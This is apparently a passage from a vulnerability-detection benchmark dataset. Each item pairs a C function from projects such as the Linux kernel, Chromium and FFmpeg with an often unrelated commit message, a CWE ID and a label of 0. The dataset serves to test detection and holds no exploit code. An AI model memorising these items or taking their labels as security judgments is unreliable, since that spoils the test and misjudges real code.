ip_vs_stop_estimator(net, &dest->stats);
/*
* Remove it from the d-linked list with the real services.
*/
write_lock_bh(&ipvs->rs_lock);
ip_vs_rs_unhash(dest);
write_unlock_bh(&ipvs->rs_lock);
/*
* Decrease the refcnt of the dest, and free the dest
* if nobody refers to it (refcnt=0). Otherwise, throw
* the destination into the trash.
*/
if (atomic_dec_and_test(&dest->refcnt)) {
IP_VS_DBG_BUF(3, "Removing destination %u/%s:%u\n",
dest->vfwmark,
IP_VS_DBG_ADDR(dest->af, &dest->addr),
ntohs(dest->port));
ip_vs_dst_reset(dest);
/* simply decrease svc->refcnt here, let the caller check
and release the service if nobody refers to it.
Only user context can release destination and service,
and only one user context can update virtual service at a
time, so the operation here is OK */
atomic_dec(&dest->svc->refcnt);
free_percpu(dest->stats.cpustats);
kfree(dest);
} else {
IP_VS_DBG_BUF(3, "Moving dest %s:%u into trash, "
"dest->refcnt=%d\n",
IP_VS_DBG_ADDR(dest->af, &dest->addr),
ntohs(dest->port),
atomic_read(&dest->refcnt));
list_add(&dest->n_list, &ipvs->dest_trash);
atomic_inc(&dest->refcnt);
}
}
Commit Message: ipvs: fix info leak in getsockopt(IP_VS_SO_GET_TIMEOUT)
If at least one of CONFIG_IP_VS_PROTO_TCP or CONFIG_IP_VS_PROTO_UDP is
not set, __ip_vs_get_timeouts() does not fully initialize the structure
that gets copied to userland and that for leaks up to 12 bytes of kernel
stack. Add an explicit memset(0) before passing the structure to
__ip_vs_get_timeouts() to avoid the info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Wensong Zhang <wensong@linux-vs.org>
Cc: Simon Horman <horms@verge.net.au>
Cc: Julian Anastasov <ja@ssi.bg>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 16,903
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int map_files_d_revalidate(struct dentry *dentry, unsigned int flags)
{
unsigned long vm_start, vm_end;
bool exact_vma_exists = false;
struct mm_struct *mm = NULL;
struct task_struct *task;
const struct cred *cred;
struct inode *inode;
int status = 0;
if (flags & LOOKUP_RCU)
return -ECHILD;
inode = d_inode(dentry);
task = get_proc_task(inode);
if (!task)
goto out_notask;
mm = mm_access(task, PTRACE_MODE_READ_FSCREDS);
if (IS_ERR_OR_NULL(mm))
goto out;
if (!dname_to_vma_addr(dentry, &vm_start, &vm_end)) {
down_read(&mm->mmap_sem);
exact_vma_exists = !!find_exact_vma(mm, vm_start, vm_end);
up_read(&mm->mmap_sem);
}
mmput(mm);
if (exact_vma_exists) {
if (task_dumpable(task)) {
rcu_read_lock();
cred = __task_cred(task);
inode->i_uid = cred->euid;
inode->i_gid = cred->egid;
rcu_read_unlock();
} else {
inode->i_uid = GLOBAL_ROOT_UID;
inode->i_gid = GLOBAL_ROOT_GID;
}
security_task_to_inode(task, inode);
status = 1;
}
out:
put_task_struct(task);
out_notask:
return status;
}
Commit Message: proc: prevent accessing /proc/<PID>/environ until it's ready
If /proc/<PID>/environ gets read before the envp[] array is fully set up
in create_{aout,elf,elf_fdpic,flat}_tables(), we might end up trying to
read more bytes than are actually written, as env_start will already be
set but env_end will still be zero, making the range calculation
underflow, allowing to read beyond the end of what has been written.
Fix this as it is done for /proc/<PID>/cmdline by testing env_end for
zero. It is, apparently, intentionally set last in create_*_tables().
This bug was found by the PaX size_overflow plugin that detected the
arithmetic underflow of 'this_len = env_end - (env_start + src)' when
env_end is still zero.
The expected consequence is that userland trying to access
/proc/<PID>/environ of a not yet fully set up process may get
inconsistent data as we're in the middle of copying in the environment
variables.
Fixes: https://forums.grsecurity.net/viewtopic.php?f=3&t=4363
Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=116461
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Emese Revfy <re.emese@gmail.com>
Cc: Pax Team <pageexec@freemail.hu>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: Mateusz Guzik <mguzik@redhat.com>
Cc: Alexey Dobriyan <adobriyan@gmail.com>
Cc: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: Jarod Wilson <jarod@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362
| 0
| 11,394
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void sco_disconn_cfm(struct hci_conn *hcon, __u8 reason)
{
if (hcon->type != SCO_LINK && hcon->type != ESCO_LINK)
return;
BT_DBG("hcon %p reason %d", hcon, reason);
sco_conn_del(hcon, bt_to_errno(reason));
}
Commit Message: bluetooth: Validate socket address length in sco_sock_bind().
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 24,478
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AudioInputRendererHost::OnRecording(
media::AudioInputController* controller) {
BrowserThread::PostTask(
BrowserThread::IO,
FROM_HERE,
base::Bind(
&AudioInputRendererHost::DoSendRecordingMessage,
this,
make_scoped_refptr(controller)));
}
Commit Message: Improve validation when creating audio streams.
BUG=166795
Review URL: https://codereview.chromium.org/11647012
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@173981 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 11,417
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool Segment::DoneParsing() const {
if (m_size < 0) {
long long total, avail;
const int status = m_pReader->Length(&total, &avail);
if (status < 0) // error
return true; // must assume done
if (total < 0)
return false; // assume live stream
return (m_pos >= total);
}
const long long stop = m_start + m_size;
return (m_pos >= stop);
}
Commit Message: Fix ParseElementHeader to support 0 payload elements
Cherry-pick'ing Change 5c83bbec9a5f6f00a349674ddad85b753d2ea219
from upstream. This fixes regression in some edge cases for mkv
playback.
BUG=26499283
Change-Id: I88de03219a3d941b6b2f251d384e29c36bdd4d9b
CWE ID: CWE-20
| 0
| 7,125
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WORD32 ixheaacd_qmf_hbe_apply(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer,
FLOAT32 qmf_buf_real[][64],
FLOAT32 qmf_buf_imag[][64], WORD32 num_columns,
FLOAT32 pv_qmf_buf_real[][64],
FLOAT32 pv_qmf_buf_imag[][64],
WORD32 pitch_in_bins) {
WORD32 i, qmf_band_idx;
WORD32 qmf_voc_columns = ptr_hbe_txposer->no_bins / 2;
WORD32 err_code = 0;
memcpy(ptr_hbe_txposer->ptr_input_buf,
ptr_hbe_txposer->ptr_input_buf +
ptr_hbe_txposer->no_bins * ptr_hbe_txposer->synth_size,
ptr_hbe_txposer->synth_size * sizeof(FLOAT32));
ixheaacd_real_synth_filt(ptr_hbe_txposer, num_columns, qmf_buf_real,
qmf_buf_imag);
for (i = 0; i < HBE_OPER_WIN_LEN - 1; i++) {
memcpy(ptr_hbe_txposer->qmf_in_buf[i],
ptr_hbe_txposer->qmf_in_buf[i + qmf_voc_columns],
TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));
}
err_code = ixheaacd_complex_anal_filt(ptr_hbe_txposer);
if (err_code) return err_code;
for (i = 0; i < (ptr_hbe_txposer->hbe_qmf_out_len - ptr_hbe_txposer->no_bins);
i++) {
memcpy(ptr_hbe_txposer->qmf_out_buf[i],
ptr_hbe_txposer->qmf_out_buf[i + ptr_hbe_txposer->no_bins],
TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));
}
for (; i < ptr_hbe_txposer->hbe_qmf_out_len; i++) {
memset(ptr_hbe_txposer->qmf_out_buf[i], 0,
TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));
}
ixheaacd_hbe_post_anal_process(ptr_hbe_txposer, pitch_in_bins,
ptr_hbe_txposer->upsamp_4_flag);
for (i = 0; i < ptr_hbe_txposer->no_bins; i++) {
for (qmf_band_idx = ptr_hbe_txposer->start_band;
qmf_band_idx < ptr_hbe_txposer->end_band; qmf_band_idx++) {
pv_qmf_buf_real[i][qmf_band_idx] =
(FLOAT32)(ptr_hbe_txposer->qmf_out_buf[i][2 * qmf_band_idx] *
ixheaacd_phase_vocoder_cos_table[qmf_band_idx] -
ptr_hbe_txposer->qmf_out_buf[i][2 * qmf_band_idx + 1] *
ixheaacd_phase_vocoder_sin_table[qmf_band_idx]);
pv_qmf_buf_imag[i][qmf_band_idx] =
(FLOAT32)(ptr_hbe_txposer->qmf_out_buf[i][2 * qmf_band_idx] *
ixheaacd_phase_vocoder_sin_table[qmf_band_idx] +
ptr_hbe_txposer->qmf_out_buf[i][2 * qmf_band_idx + 1] *
ixheaacd_phase_vocoder_cos_table[qmf_band_idx]);
}
}
return 0;
}
Commit Message: Fix for stack corruption in esbr
Bug: 110769924
Test: poc from bug before/after
Change-Id: I99c6e89902064849ea1310c271064bdeccf7f20e
(cherry picked from commit 7e90d745c22695236437297cd8167a9312427a4a)
(cherry picked from commit 5464927f0c1fc721fa03d1c5be77b0b43dfffc50)
CWE ID: CWE-787
| 0
| 19,095
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: read_graphic_control_extension(Gif_Context *gfc, Gif_Image *gfi,
Gif_Reader *grr)
{
uint8_t len;
uint8_t crap[GIF_MAX_BLOCK];
len = gifgetbyte(grr);
if (len == 4) {
uint8_t packed = gifgetbyte(grr);
gfi->disposal = (packed >> 2) & 0x07;
gfi->delay = gifgetunsigned(grr);
gfi->transparent = gifgetbyte(grr);
if (!(packed & 0x01)) /* transparent color doesn't exist */
gfi->transparent = -1;
len -= 4;
}
if (len > 0) {
gif_read_error(gfc, 1, "bad graphic extension");
gifgetblock(crap, len, grr);
}
len = gifgetbyte(grr);
while (len > 0) {
gif_read_error(gfc, 1, "bad graphic extension");
gifgetblock(crap, len, grr);
len = gifgetbyte(grr);
}
}
Commit Message: gif_read: Set last_name = NULL unconditionally.
With a non-malicious GIF, last_name is set to NULL when a name
extension is followed by an image. Reported in #117, via
Debian, via a KAIST fuzzing program.
CWE ID: CWE-415
| 0
| 22,837
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool nfs_fattr_map_owner_name(struct nfs_server *server, struct nfs_fattr *fattr)
{
struct nfs4_string *owner = fattr->owner_name;
kuid_t uid;
if (!(fattr->valid & NFS_ATTR_FATTR_OWNER_NAME))
return false;
if (nfs_map_name_to_uid(server, owner->data, owner->len, &uid) == 0) {
fattr->uid = uid;
fattr->valid |= NFS_ATTR_FATTR_OWNER;
}
return true;
}
Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse
A previous patch added a ->match_preparse() method to the key type. This is
allowed to override the function called by the iteration algorithm.
Therefore, we can just set a default that simply checks for an exact match of
the key description with the original criterion data and allow match_preparse
to override it as needed.
The key_type::match op is then redundant and can be removed, as can the
user_match() function.
Signed-off-by: David Howells <dhowells@redhat.com>
Acked-by: Vivek Goyal <vgoyal@redhat.com>
CWE ID: CWE-476
| 0
| 7,551
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void xsltDebugSetDefaultTrace(xsltDebugTraceCodes val) {
xsltDefaultTrace = val;
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119
| 0
| 26,101
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: all_streams_prerolled (GstASFDemux * demux)
{
GstClockTime preroll_time;
guint i, num_no_data = 0;
/* Allow at least 500ms of preroll_time */
preroll_time = MAX (demux->preroll, 500 * GST_MSECOND);
/* returns TRUE as long as there isn't a stream which (a) has data queued
* and (b) the timestamp of last piece of data queued is < demux->preroll
* AND there is at least one other stream with data queued */
for (i = 0; i < demux->num_streams; ++i) {
AsfPayload *last_payload = NULL;
AsfStream *stream;
gint last_idx;
stream = &demux->stream[i];
if (G_UNLIKELY (stream->payloads->len == 0)) {
++num_no_data;
GST_LOG_OBJECT (stream->pad, "no data queued");
continue;
}
/* find last payload with timestamp */
for (last_idx = stream->payloads->len - 1;
last_idx >= 0 && (last_payload == NULL
|| !GST_CLOCK_TIME_IS_VALID (last_payload->ts)); --last_idx) {
last_payload = &g_array_index (stream->payloads, AsfPayload, last_idx);
}
GST_LOG_OBJECT (stream->pad, "checking if %" GST_TIME_FORMAT " > %"
GST_TIME_FORMAT, GST_TIME_ARGS (last_payload->ts),
GST_TIME_ARGS (preroll_time));
if (G_UNLIKELY (!GST_CLOCK_TIME_IS_VALID (last_payload->ts)
|| last_payload->ts <= preroll_time)) {
GST_LOG_OBJECT (stream->pad, "not beyond preroll point yet");
return FALSE;
}
}
if (G_UNLIKELY (num_no_data > 0))
return FALSE;
return TRUE;
}
Commit Message: asfdemux: Check that we have enough data available before parsing bool/uint extended content descriptors
https://bugzilla.gnome.org/show_bug.cgi?id=777955
CWE ID: CWE-125
| 0
| 18,221
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static long trusted_read(const struct key *key, char __user *buffer,
size_t buflen)
{
const struct trusted_key_payload *p;
char *ascii_buf;
char *bufp;
int i;
p = dereference_key_locked(key);
if (!p)
return -EINVAL;
if (!buffer || buflen <= 0)
return 2 * p->blob_len;
ascii_buf = kmalloc(2 * p->blob_len, GFP_KERNEL);
if (!ascii_buf)
return -ENOMEM;
bufp = ascii_buf;
for (i = 0; i < p->blob_len; i++)
bufp = hex_byte_pack(bufp, p->blob[i]);
if ((copy_to_user(buffer, ascii_buf, 2 * p->blob_len)) != 0) {
kzfree(ascii_buf);
return -EFAULT;
}
kzfree(ascii_buf);
return 2 * p->blob_len;
}
Commit Message: KEYS: Fix race between updating and finding a negative key
Consolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection
error into one field such that:
(1) The instantiation state can be modified/read atomically.
(2) The error can be accessed atomically with the state.
(3) The error isn't stored unioned with the payload pointers.
This deals with the problem that the state is spread over three different
objects (two bits and a separate variable) and reading or updating them
atomically isn't practical, given that not only can uninstantiated keys
change into instantiated or rejected keys, but rejected keys can also turn
into instantiated keys - and someone accessing the key might not be using
any locking.
The main side effect of this problem is that what was held in the payload
may change, depending on the state. For instance, you might observe the
key to be in the rejected state. You then read the cached error, but if
the key semaphore wasn't locked, the key might've become instantiated
between the two reads - and you might now have something in hand that isn't
actually an error code.
The state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error
code if the key is negatively instantiated. The key_is_instantiated()
function is replaced with key_is_positive() to avoid confusion as negative
keys are also 'instantiated'.
Additionally, barriering is included:
(1) Order payload-set before state-set during instantiation.
(2) Order state-read before payload-read when using the key.
Further separate barriering is necessary if RCU is being used to access the
payload content after reading the payload pointers.
Fixes: 146aa8b1453b ("KEYS: Merge the type-specific data with the payload data")
Cc: stable@vger.kernel.org # v4.4+
Reported-by: Eric Biggers <ebiggers@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Reviewed-by: Eric Biggers <ebiggers@google.com>
CWE ID: CWE-20
| 0
| 21,305
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int sm_looptest_path_length(p_fm_config_conx_hdlt hdl, fm_mgr_type_t mgr, int argc, char *argv[]) {
fm_mgr_config_errno_t res;
fm_msg_ret_code_t ret_code;
int plen=3;
uint8_t data[BUF_SZ];
if (argc > 1) {
printf("Error: only 1 argument expected\n");
return 0;
}
if (argc == 1) {
plen = atol(argv[0]);
if (plen < 2 || plen > 4) {
printf("Error: length must be 2-4\n");
return 0;
}
}
*(int*)data = plen;
if((res = fm_mgr_simple_query(hdl, FM_ACT_GET, FM_DT_SM_LOOP_TEST_PATH_LEN, mgr,
BUF_SZ, data, &ret_code)) != FM_CONF_OK)
{
fprintf(stderr, "sm_looptest_path_length: Failed to retrieve data: \n"
"\tError:(%d) %s \n\tRet code:(%d) %s\n",
res, fm_mgr_get_error_str(res),ret_code,
fm_mgr_get_resp_error_str(ret_code));
} else {
printf("Successfully sent Loop Test Path Length set to %d control to local SM instance\n", plen);
data[BUF_SZ-1]=0;
printf("%s", (char*) data);
}
return 0;
}
Commit Message: Fix scripts and code that use well-known tmp files.
CWE ID: CWE-362
| 0
| 6,718
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int is_mem_section_removable(unsigned long start_pfn, unsigned long nr_pages)
{
struct page *page = pfn_to_page(start_pfn);
struct page *end_page = page + nr_pages;
/* Check the starting page of each pageblock within the range */
for (; page < end_page; page = next_active_pageblock(page)) {
if (!is_pageblock_removable_nolock(page))
return 0;
cond_resched();
}
/* All pageblocks in the memory block are likely to be hot-removable */
return 1;
}
Commit Message: mm/hotplug: correctly add new zone to all other nodes' zone lists
When online_pages() is called to add new memory to an empty zone, it
rebuilds all zone lists by calling build_all_zonelists(). But there's a
bug which prevents the new zone to be added to other nodes' zone lists.
online_pages() {
build_all_zonelists()
.....
node_set_state(zone_to_nid(zone), N_HIGH_MEMORY)
}
Here the node of the zone is put into N_HIGH_MEMORY state after calling
build_all_zonelists(), but build_all_zonelists() only adds zones from
nodes in N_HIGH_MEMORY state to the fallback zone lists.
build_all_zonelists()
->__build_all_zonelists()
->build_zonelists()
->find_next_best_node()
->for_each_node_state(n, N_HIGH_MEMORY)
So memory in the new zone will never be used by other nodes, and it may
cause strange behavor when system is under memory pressure. So put node
into N_HIGH_MEMORY state before calling build_all_zonelists().
Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
Signed-off-by: Jiang Liu <liuj97@gmail.com>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Minchan Kim <minchan@kernel.org>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Yinghai Lu <yinghai@kernel.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Cc: David Rientjes <rientjes@google.com>
Cc: Keping Chen <chenkeping@huawei.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID:
| 0
| 5,284
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline GBool isSameGfxColor(const GfxColor &colorA, const GfxColor &colorB, Guint nComps, double delta) {
for (Guint k = 0; k < nComps; ++k) {
if (abs(colorA.c[k] - colorB.c[k]) > delta) {
return false;
}
}
return true;
}
Commit Message:
CWE ID: CWE-20
| 0
| 19,777
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ext4_set_inode_flags(struct inode *inode)
{
unsigned int flags = EXT4_I(inode)->i_flags;
inode->i_flags &= ~(S_SYNC|S_APPEND|S_IMMUTABLE|S_NOATIME|S_DIRSYNC);
if (flags & EXT4_SYNC_FL)
inode->i_flags |= S_SYNC;
if (flags & EXT4_APPEND_FL)
inode->i_flags |= S_APPEND;
if (flags & EXT4_IMMUTABLE_FL)
inode->i_flags |= S_IMMUTABLE;
if (flags & EXT4_NOATIME_FL)
inode->i_flags |= S_NOATIME;
if (flags & EXT4_DIRSYNC_FL)
inode->i_flags |= S_DIRSYNC;
}
Commit Message: ext4: use ext4_get_block_write in buffer write
Allocate uninitialized extent before ext4 buffer write and
convert the extent to initialized after io completes.
The purpose is to make sure an extent can only be marked
initialized after it has been written with new data so
we can safely drop the i_mutex lock in ext4 DIO read without
exposing stale data. This helps to improve multi-thread DIO
read performance on high-speed disks.
Skip the nobh and data=journal mount cases to make things simple for now.
Signed-off-by: Jiaying Zhang <jiayingz@google.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
CWE ID:
| 0
| 13,945
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool Element::rareDataChildrenAffectedByBackwardPositionalRules() const
{
ASSERT(hasRareData());
return elementRareData()->childrenAffectedByBackwardPositionalRules();
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 20,992
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int mov_read_dref(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
AVStream *st;
MOVStreamContext *sc;
int entries, i, j;
if (c->fc->nb_streams < 1)
return 0;
st = c->fc->streams[c->fc->nb_streams-1];
sc = st->priv_data;
avio_rb32(pb); // version + flags
entries = avio_rb32(pb);
if (!entries ||
entries > (atom.size - 1) / MIN_DATA_ENTRY_BOX_SIZE + 1 ||
entries >= UINT_MAX / sizeof(*sc->drefs))
return AVERROR_INVALIDDATA;
sc->drefs_count = 0;
av_free(sc->drefs);
sc->drefs_count = 0;
sc->drefs = av_mallocz(entries * sizeof(*sc->drefs));
if (!sc->drefs)
return AVERROR(ENOMEM);
sc->drefs_count = entries;
for (i = 0; i < entries; i++) {
MOVDref *dref = &sc->drefs[i];
uint32_t size = avio_rb32(pb);
int64_t next = avio_tell(pb) + size - 4;
if (size < 12)
return AVERROR_INVALIDDATA;
dref->type = avio_rl32(pb);
avio_rb32(pb); // version + flags
if (dref->type == MKTAG('a','l','i','s') && size > 150) {
/* macintosh alias record */
uint16_t volume_len, len;
int16_t type;
int ret;
avio_skip(pb, 10);
volume_len = avio_r8(pb);
volume_len = FFMIN(volume_len, 27);
ret = ffio_read_size(pb, dref->volume, 27);
if (ret < 0)
return ret;
dref->volume[volume_len] = 0;
av_log(c->fc, AV_LOG_DEBUG, "volume %s, len %d\n", dref->volume, volume_len);
avio_skip(pb, 12);
len = avio_r8(pb);
len = FFMIN(len, 63);
ret = ffio_read_size(pb, dref->filename, 63);
if (ret < 0)
return ret;
dref->filename[len] = 0;
av_log(c->fc, AV_LOG_DEBUG, "filename %s, len %d\n", dref->filename, len);
avio_skip(pb, 16);
/* read next level up_from_alias/down_to_target */
dref->nlvl_from = avio_rb16(pb);
dref->nlvl_to = avio_rb16(pb);
av_log(c->fc, AV_LOG_DEBUG, "nlvl from %d, nlvl to %d\n",
dref->nlvl_from, dref->nlvl_to);
avio_skip(pb, 16);
for (type = 0; type != -1 && avio_tell(pb) < next; ) {
if(avio_feof(pb))
return AVERROR_EOF;
type = avio_rb16(pb);
len = avio_rb16(pb);
av_log(c->fc, AV_LOG_DEBUG, "type %d, len %d\n", type, len);
if (len&1)
len += 1;
if (type == 2) { // absolute path
av_free(dref->path);
dref->path = av_mallocz(len+1);
if (!dref->path)
return AVERROR(ENOMEM);
ret = ffio_read_size(pb, dref->path, len);
if (ret < 0) {
av_freep(&dref->path);
return ret;
}
if (len > volume_len && !strncmp(dref->path, dref->volume, volume_len)) {
len -= volume_len;
memmove(dref->path, dref->path+volume_len, len);
dref->path[len] = 0;
}
for (j = len - 1; j >= 0; j--) {
if (dref->path[j] == 0)
len--;
else
break;
}
for (j = 0; j < len; j++)
if (dref->path[j] == ':' || dref->path[j] == 0)
dref->path[j] = '/';
av_log(c->fc, AV_LOG_DEBUG, "path %s\n", dref->path);
} else if (type == 0) { // directory name
av_free(dref->dir);
dref->dir = av_malloc(len+1);
if (!dref->dir)
return AVERROR(ENOMEM);
ret = ffio_read_size(pb, dref->dir, len);
if (ret < 0) {
av_freep(&dref->dir);
return ret;
}
dref->dir[len] = 0;
for (j = 0; j < len; j++)
if (dref->dir[j] == ':')
dref->dir[j] = '/';
av_log(c->fc, AV_LOG_DEBUG, "dir %s\n", dref->dir);
} else
avio_skip(pb, len);
}
} else {
av_log(c->fc, AV_LOG_DEBUG, "Unknown dref type 0x%08"PRIx32" size %"PRIu32"\n",
dref->type, size);
entries--;
i--;
}
avio_seek(pb, next, SEEK_SET);
}
return 0;
}
Commit Message: avformat/mov: Fix DoS in read_tfra()
Fixes: Missing EOF check in loop
No testcase
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-834
| 0
| 27,174
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __dev_queue_xmit(struct sk_buff *skb, void *accel_priv)
{
struct net_device *dev = skb->dev;
struct netdev_queue *txq;
struct Qdisc *q;
int rc = -ENOMEM;
skb_reset_mac_header(skb);
if (unlikely(skb_shinfo(skb)->tx_flags & SKBTX_SCHED_TSTAMP))
__skb_tstamp_tx(skb, NULL, skb->sk, SCM_TSTAMP_SCHED);
/* Disable soft irqs for various locks below. Also
* stops preemption for RCU.
*/
rcu_read_lock_bh();
skb_update_prio(skb);
qdisc_pkt_len_init(skb);
#ifdef CONFIG_NET_CLS_ACT
skb->tc_verd = SET_TC_AT(skb->tc_verd, AT_EGRESS);
# ifdef CONFIG_NET_EGRESS
if (static_key_false(&egress_needed)) {
skb = sch_handle_egress(skb, &rc, dev);
if (!skb)
goto out;
}
# endif
#endif
/* If device/qdisc don't need skb->dst, release it right now while
* its hot in this cpu cache.
*/
if (dev->priv_flags & IFF_XMIT_DST_RELEASE)
skb_dst_drop(skb);
else
skb_dst_force(skb);
#ifdef CONFIG_NET_SWITCHDEV
/* Don't forward if offload device already forwarded */
if (skb->offload_fwd_mark &&
skb->offload_fwd_mark == dev->offload_fwd_mark) {
consume_skb(skb);
rc = NET_XMIT_SUCCESS;
goto out;
}
#endif
txq = netdev_pick_tx(dev, skb, accel_priv);
q = rcu_dereference_bh(txq->qdisc);
trace_net_dev_queue(skb);
if (q->enqueue) {
rc = __dev_xmit_skb(skb, q, dev, txq);
goto out;
}
/* The device has no queue. Common case for software devices:
loopback, all the sorts of tunnels...
Really, it is unlikely that netif_tx_lock protection is necessary
here. (f.e. loopback and IP tunnels are clean ignoring statistics
counters.)
However, it is possible, that they rely on protection
made by us here.
Check this and shot the lock. It is not prone from deadlocks.
Either shot noqueue qdisc, it is even simpler 8)
*/
if (dev->flags & IFF_UP) {
int cpu = smp_processor_id(); /* ok because BHs are off */
if (txq->xmit_lock_owner != cpu) {
if (__this_cpu_read(xmit_recursion) > RECURSION_LIMIT)
goto recursion_alert;
skb = validate_xmit_skb(skb, dev);
if (!skb)
goto drop;
HARD_TX_LOCK(dev, txq, cpu);
if (!netif_xmit_stopped(txq)) {
__this_cpu_inc(xmit_recursion);
skb = dev_hard_start_xmit(skb, dev, txq, &rc);
__this_cpu_dec(xmit_recursion);
if (dev_xmit_complete(rc)) {
HARD_TX_UNLOCK(dev, txq);
goto out;
}
}
HARD_TX_UNLOCK(dev, txq);
net_crit_ratelimited("Virtual device %s asks to queue packet!\n",
dev->name);
} else {
/* Recursion is detected! It is possible,
* unfortunately
*/
recursion_alert:
net_crit_ratelimited("Dead loop on virtual device %s, fix it urgently!\n",
dev->name);
}
}
rc = -ENETDOWN;
drop:
rcu_read_unlock_bh();
atomic_long_inc(&dev->tx_dropped);
kfree_skb_list(skb);
return rc;
out:
rcu_read_unlock_bh();
return rc;
}
Commit Message: tunnels: Don't apply GRO to multiple layers of encapsulation.
When drivers express support for TSO of encapsulated packets, they
only mean that they can do it for one layer of encapsulation.
Supporting additional levels would mean updating, at a minimum,
more IP length fields and they are unaware of this.
No encapsulation device expresses support for handling offloaded
encapsulated packets, so we won't generate these types of frames
in the transmit path. However, GRO doesn't have a check for
multiple levels of encapsulation and will attempt to build them.
UDP tunnel GRO actually does prevent this situation but it only
handles multiple UDP tunnels stacked on top of each other. This
generalizes that solution to prevent any kind of tunnel stacking
that would cause problems.
Fixes: bf5a755f ("net-gre-gro: Add GRE support to the GRO stack")
Signed-off-by: Jesse Gross <jesse@kernel.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-400
| 0
| 16,356
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int common_perm(int op, const struct path *path, u32 mask,
struct path_cond *cond)
{
struct aa_profile *profile;
int error = 0;
profile = __aa_current_profile();
if (!unconfined(profile))
error = aa_path_perm(op, profile, path, 0, mask, cond);
return error;
}
Commit Message: apparmor: fix oops, validate buffer size in apparmor_setprocattr()
When proc_pid_attr_write() was changed to use memdup_user apparmor's
(interface violating) assumption that the setprocattr buffer was always
a single page was violated.
The size test is not strictly speaking needed as proc_pid_attr_write()
will reject anything larger, but for the sake of robustness we can keep
it in.
SMACK and SELinux look safe to me, but somebody else should probably
have a look just in case.
Based on original patch from Vegard Nossum <vegard.nossum@oracle.com>
modified for the case that apparmor provides null termination.
